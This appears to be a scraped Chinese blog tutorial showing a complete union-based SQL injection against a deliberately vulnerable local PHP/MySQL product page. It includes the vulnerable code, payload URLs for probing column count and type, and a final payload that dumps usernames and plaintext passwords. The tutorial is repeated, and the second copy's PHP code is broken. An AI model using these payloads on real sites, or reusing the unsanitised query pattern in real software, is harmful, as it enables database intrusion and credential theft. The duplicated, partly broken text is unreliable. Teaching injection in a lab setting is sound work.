一个PHP的SQL注入完整过程
来源:互联网 发布:js a href click 编辑:程序博客网 时间:2024/05/19 20:22
学了SQL注入的一些技能后,以下正对PHP+MYSQL进行SQL注入的简单实践
首先观察两个MYSQL数据表
用户记录表:
CREATE TABLE `php_user` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
`userlevel` char(2) NOT NULL default '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd','10');
INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
产品记录列表:
CREATE TABLE `php_product` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(100) NOT NULL default '',
`price` float NOT NULL default '0',
`img` varchar(200) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_product` VALUES (1, 'name_1', 12.2,'images/name_1.jpg');
INSERT INTO `php_product` VALUES (2, 'name_2', 35.25,'images/name_2.jpg');
以下文件是show_product.php用于显示产品列表。SQL注入也是利用此文件的SQL语句漏洞
<?php
$conn = mysql_connect("localhost", "root", "root");
if(!$conn){
echo "数据库联接错误";
exit;
}
if (!mysql_select_db("phpsql")) {
echo "选择数据库出错". mysql_error();
exit;
}
$tempID=$_GET['id'];
if($tempID<=0 || !isset($tempID)) $tempID=1;
$sql = "SELECT * FROM php_product WHERE id =$tempID";
echo $sql.'<br>';
$result = mysql_query($sql);
if (!$result) {
echo "查询出错" . mysql_error();
exit;
}
if (mysql_num_rows($result) == 0) {
echo "没有查询结果";
exit;
}
while ($row = mysql_fetch_assoc($result)) {
echo'ID:'.$row["id"].'<br>';
echo'name:'.$row["name"].'<br>';
echo'price:'.$row["price"].'<br>';
echo 'image:'.$row["img"].'<br>';
}
?>
观察此语句:$sql = "SELECT * FROM php_product WHERE id=$tempID";
$tempID是从$_GET得到。我们可以构造这个变量的值,从而达到SQL注入的目的
分别构造以下链接:
1、http://localhost/phpsql/index.php?id=1
得到以下输出
SELECT * FROM php_product WHERE id =1//当前执行的SQL语句
//得到ID为1的产品资料列表
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
2、http://localhost/phpsql/index.php?id=1 or1=1
得到输出
SELECT * FROM php_product WHERE id =1 or 1=1//当前执行的SQL语句
//一共两条产品资料列表
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:2
name:name_2
price:35.25
image:images/name_2.jpg
1和2都得到资料列表输出,证明SQL语句执行成功
3、判断数据表字段数量
http://localhost/phpsql/index.php?id=1 unionselect 1,1,1,1
得到输出
SELECT * FROM php_product WHERE id =1 union select 1,1,1,1//当前执行的SQL语句
//一共两条记录,注意第二条的记录为全1,这是unionselect联合查询的结果。
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:1
name:1
price:1
image:1
4、判断数据表字段类型
http://localhost/phpsql/index.php?id=1 unionselect char(65),char(65),char(65),char(65)
得到输出
SELECT * FROM php_product WHERE id =1 union selectchar(65),char(65),char(65),char(65)
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:0
name:A
price:0
image:A
注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面
为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型
5、大功告成,得到我们想要的东西:
http://localhost/phpsql/index.php?id=10000union select 1,username,1,password from php_user
得到输出:
SELECT * FROM php_product WHERE id =10000 union select1,username,1,password from php_user
//输出了两条用户资料,name为用户名称,image为用户密码。
ID:1
name:seven
price:1
image:seven_pwd
ID:1
name:swons
price:1
image:swons_pwd
注意URL中的ID=10000是为了不得到产品资料,只得到后面union的查询结果。更具实际情况ID的值有所不同
union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询
语句的特点
备注:
这个简单的注入方法是更具特定环境的。实际中比这复杂。但是原理是相同的。
首先观察两个MYSQL数据表
用户记录表:
CREATE TABLE `php_user` (
`id` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
`userlevel` char(2) NOT NULL default '0',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd','10');
INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');
产品记录列表:
CREATE TABLE `php_product` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(100) NOT NULL default '',
`price` float NOT NULL default '0',
`img` varchar(200) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
INSERT INTO `php_product` VALUES (1, 'name_1', 12.2,'images/name_1.jpg');
INSERT INTO `php_product` VALUES (2, 'name_2', 35.25,'images/name_2.jpg');
以下文件是show_product.php用于显示产品列表。SQL注入也是利用此文件的SQL语句漏洞
<?php
$conn = mysql_connect("localhost", "root", "root");
if(!$conn){
echo "数据库联接错误";
exit;
}
if (!mysql_select_db("phpsql")) {
}
$tempID=$_GET['id'];
if($tempID<=0 || !isset($tempID)) $tempID=1;
$sql = "SELECT * FROM php_product WHERE id =$tempID";
echo $sql.'<br>';
$result = mysql_query($sql);
if (!$result) {
echo "查询出错" . mysql_error();
exit;
}
if (mysql_num_rows($result) == 0) {
echo "没有查询结果";
exit;
}
while ($row = mysql_fetch_assoc($result)) {
echo 'image:'.$row["img"].'<br>';
}
?>
观察此语句:$sql = "SELECT * FROM php_product WHERE id=$tempID";
$tempID是从$_GET得到。我们可以构造这个变量的值,从而达到SQL注入的目的
分别构造以下链接:
1、http://localhost/phpsql/index.php?id=1
得到以下输出
SELECT * FROM php_product WHERE id =1//当前执行的SQL语句
//得到ID为1的产品资料列表
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
2、http://localhost/phpsql/index.php?id=1 or1=1
得到输出
SELECT * FROM php_product WHERE id =1 or 1=1//当前执行的SQL语句
//一共两条产品资料列表
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:2
name:name_2
price:35.25
image:images/name_2.jpg
1和2都得到资料列表输出,证明SQL语句执行成功
3、判断数据表字段数量
http://localhost/phpsql/index.php?id=1 unionselect 1,1,1,1
得到输出
SELECT * FROM php_product WHERE id =1 union select 1,1,1,1//当前执行的SQL语句
//一共两条记录,注意第二条的记录为全1,这是unionselect联合查询的结果。
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:1
name:1
price:1
image:1
4、判断数据表字段类型
http://localhost/phpsql/index.php?id=1 unionselect char(65),char(65),char(65),char(65)
得到输出
SELECT * FROM php_product WHERE id =1 union selectchar(65),char(65),char(65),char(65)
ID:1
name:name_1
price:12.2
image:images/name_1.jpg
ID:0
name:A
price:0
image:A
注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面
为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型
5、大功告成,得到我们想要的东西:
http://localhost/phpsql/index.php?id=10000union select 1,username,1,password from php_user
得到输出:
SELECT * FROM php_product WHERE id =10000 union select1,username,1,password from php_user
//输出了两条用户资料,name为用户名称,image为用户密码。
ID:1
name:seven
price:1
image:seven_pwd
ID:1
name:swons
price:1
image:swons_pwd
注意URL中的ID=10000是为了不得到产品资料,只得到后面union的查询结果。更具实际情况ID的值有所不同
union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询
语句的特点
备注:
这个简单的注入方法是更具特定环境的。实际中比这复杂。但是原理是相同的。
0 0
- 一个PHP的SQL注入完整过程
- 一个PHP的SQL注入完整过程
- 一个PHP的SQL注入完整过程
- PHP的SQL注入
- PHP的SQL注入
- PHP的SQL注入
- PHP的SQL注入
- PHP + Mysql 登录功能防止SQL注入的一个办法
- SQL的完整执行过程
- 一个完整的DLL远程注入函数
- 一个完整的DLL远程注入函数
- PHP注入完整教程
- 典型的 SQL 注入过程
- 一个简单的SQL注入
- 一个完整的BIRT报表制作过程
- 数据挖掘的一个完整过程
- 一个完整的存储过程 returnValue
- 一个项目完整制作过程的分享
- Lazy Spelling Bee
- 链接法hash表
- Robot Rock Band
- Android Service的生命周期
- UISegmentController
- 一个PHP的SQL注入完整过程
- CSS盒子模型(续一)
- Java NIO系列教程(四) Scatter/Gather
- 俚语、口语及常见用法的理解
- Software Testing-How To Design Test Case
- Linux的环境变量.bash_profile .bashrc profile文件
- 查找二叉树
- stm32寄存器地址名称映射
- Hadoop2.4.1 简单的用户手机流量统计的MapReduce程序(二)